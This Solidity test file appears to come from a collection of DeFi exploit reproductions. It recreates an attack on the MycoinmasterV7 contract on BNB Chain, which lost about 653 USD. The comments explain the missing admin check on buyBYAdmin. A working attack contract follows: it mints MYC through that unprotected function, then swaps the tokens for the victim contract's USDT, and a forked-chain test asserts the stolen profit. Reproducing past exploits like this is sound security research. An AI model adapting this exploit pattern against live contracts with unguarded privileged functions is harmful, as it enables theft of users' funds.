src/test/2025-08/MyCoinMaster_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 653.49 USD
8// Attacker : 0xEBE15A67e37203563d0D99AafAf06eCf41305FbA
9// Attack Contract : 0x436322d4a854E89cDdaFF00C2c1cB72015f37ca1
10// Vulnerable Contract : 0xEF9A10D6abFd5D3aA345a008c0F9132Ce4b23E70
11// Attack Tx : https://bscscan.com/tx/0x57865009e1cfb7516240eb901342f3b434c2a2754e14604c838024ffe2e191a7
12//
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0xEF9A10D6abFd5D3aA345a008c0F9132Ce4b23E70#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/1628
18//
19// Attack summary: MycoinmasterV7 exposed buyBYAdmin(uint256,address,address) without an admin check. The attacker used
20// it to mint a large locked MYC position to the victim contract and a 1% MYC airdrop to the attack contract, then
21// called swap(uint256). swap() accepted the airdropped MYC and paid USDT from the victim contract.
22// Root cause: missing access control on buyBYAdmin plus direct USDT redemption in swap().
23 
24address constant ATTACKER = 0xEBE15A67e37203563d0D99AafAf06eCf41305FbA;
25address constant ATTACK_CONTRACT = 0x436322d4a854E89cDdaFF00C2c1cB72015f37ca1;
26address constant MYCOINMASTER = 0xEF9A10D6abFd5D3aA345a008c0F9132Ce4b23E70;
27address constant MYC = 0x0f1c6638561F29F489E24D234014F4dEba1A9ABd;
28address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;
29 
30interface IMyCoinMaster {
31    function buyBYAdmin(uint256 tokens, address sponsor, address user) external payable;
32    function swap(
33        uint256 tokens
34    ) external;
35}
36 
37contract ContractTest is BaseTestWithBalanceLog {
38    MyCoinMasterAttack private exploit;
39 
40    function setUp() public {
41        uint256 forkBlock = 56_555_696;
42        vm.createSelectFork("bsc", forkBlock);
43        vm.label(ATTACKER, "Attacker");
44        vm.label(ATTACK_CONTRACT, "Attack Contract");
45        vm.label(MYCOINMASTER, "Mycoinmaster Proxy");
46        vm.label(MYC, "MYC");
47        vm.label(USDT_TOKEN, "USDT");
48 
49        exploit = new MyCoinMasterAttack();
50        fundingToken = USDT_TOKEN;
51        attacker = address(exploit);
52    }
53 
54    function testExploit() public balanceLog {
55        uint256 victimUsdtBefore = IERC20(USDT_TOKEN).balanceOf(MYCOINMASTER);
56        exploit.run();
57 
58        uint256 profit = IERC20(USDT_TOKEN).balanceOf(address(exploit));
59        assertEq(profit, 653_629_999_995_700_000_000, "USDT profit");
60        assertEq(victimUsdtBefore - IERC20(USDT_TOKEN).balanceOf(MYCOINMASTER), profit, "victim USDT loss");
61    }
62}
63 
64contract MyCoinMasterAttack {
65    function run() external {
66        uint256 mycMintAmount = 100_000_000_000_000;
67        uint256 swapAmount = 120_225_946_717;
68 
69        IMyCoinMaster(MYCOINMASTER).buyBYAdmin(mycMintAmount, address(this), address(this));
70        IERC20(MYC).approve(MYCOINMASTER, swapAmount);
71        IMyCoinMaster(MYCOINMASTER).swap(swapAmount);
72    }
73}